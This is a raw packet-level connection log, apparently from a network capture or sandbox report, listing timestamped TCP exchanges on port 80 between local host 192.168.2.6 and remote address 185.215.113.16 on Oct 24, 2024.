Oct 24, 2024 04:58:14.764647007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764672995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764702082 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764710903 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764727116 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764745951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764770031 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764791012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764801979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764836073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764848948 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764872074 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764892101 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764906883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764928102 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764946938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764966965 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764983892 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765018940 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765033007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765079021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765088081 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765131950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765134096 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765171051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765186071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765208960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765228033 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765259027 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765315056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765369892 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765371084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765422106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765429020 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765459061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765512943 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765532017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765568972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765587091 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765602112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765633106 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765638113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765655041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765717983 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765743971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765774012 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765789032 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765825987 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765827894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765880108 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765880108 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765918970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765950918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.765955925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765957117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.765986919 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.766005039 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.766021013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.766045094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.766058922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.766072035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.766088963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.766113997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.766130924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.766197920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.766247034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.766252041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.766287088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.766340017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.766944885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.766978979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.767007113 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.767029047 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.767033100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.767071009 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.767083883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.767108917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.767138004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.767165899 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.767189026 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.807599068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.807636023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.807672977 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.807703018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.807739973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.809182882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.809214115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.809242964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.809247971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.809269905 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.809283018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.809294939 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.809329987 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812294960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812325001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812355995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812371016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812449932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812508106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812557936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812561989 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812596083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812612057 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812630892 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812644958 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812664986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812671900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812700987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812712908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812746048 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812762976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812812090 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812815905 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812849998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812865973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812885046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812906981 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812917948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812927008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812952995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812963963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.812987089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.812999010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.813030958 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.813041925 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.813096046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.813133955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.813143969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.813168049 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.813179970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.813246012 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.813298941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.818651915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.818684101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.818737030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.818762064 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.818770885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.818784952 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.818805933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.818820000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.818860054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.818862915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.818912983 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.818948030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.818983078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.819004059 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.819017887 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.819042921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.819065094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.834148884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.834168911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.834196091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.834219933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.834237099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.834254026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.834264040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.834278107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.834294081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.834330082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.835194111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.835235119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.835252047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.835268974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.835278988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.835294008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842128038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842144966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842161894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842215061 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842256069 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842293978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842341900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842353106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842369080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842386007 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842396975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842402935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842412949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842428923 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842432976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842442989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842449903 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842494011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842506886 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842528105 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842552900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842575073 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842617035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842643976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842689991 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842734098 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842777967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842818975 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842835903 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842850924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842866898 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.842869997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842890024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842890024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842922926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.842955112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843015909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843034983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843035936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843054056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843059063 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843070984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843111038 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843198061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843242884 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843259096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843276978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843286991 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843308926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843336105 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843384027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843425035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843446016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843462944 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843488932 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843507051 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843652964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843677044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843692064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843698025 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843720913 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843727112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843729973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843744040 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843760014 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843772888 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843777895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843794107 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843795061 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843806982 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843823910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.843826056 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843842030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.843874931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.844069958 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.844089031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.844125032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.844132900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.844167948 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.866334915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.866368055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.866384029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.881390095 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881443024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881458044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881473064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881489992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881505013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881513119 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.881536961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881546974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.881557941 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881573915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881581068 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.881609917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.881633043 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.881670952 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881696939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881712914 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881727934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881742954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.881743908 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.881778002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.881797075 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.881983995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882002115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882016897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882052898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882085085 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882093906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882112026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882128000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882143974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882153988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882185936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882322073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882337093 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882353067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882368088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882379055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882407904 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882441998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882513046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882529974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882560015 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882569075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882571936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882596016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882611990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882627964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882642984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882642984 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882659912 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.882675886 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882688046 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.882710934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.883018970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883035898 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883065939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883084059 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.883091927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883111000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883111000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.883127928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883140087 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.883147001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883150101 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.883161068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883172035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.883187056 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.883208036 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.883445024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883461952 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883476973 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.883497953 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.883522034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.884030104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.884062052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.884072065 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.884077072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.884114981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.884115934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.884129047 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.884133101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.884177923 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.884218931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.884264946 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.884272099 CEST	80	49996	185.215.113.16	192.168.2.6
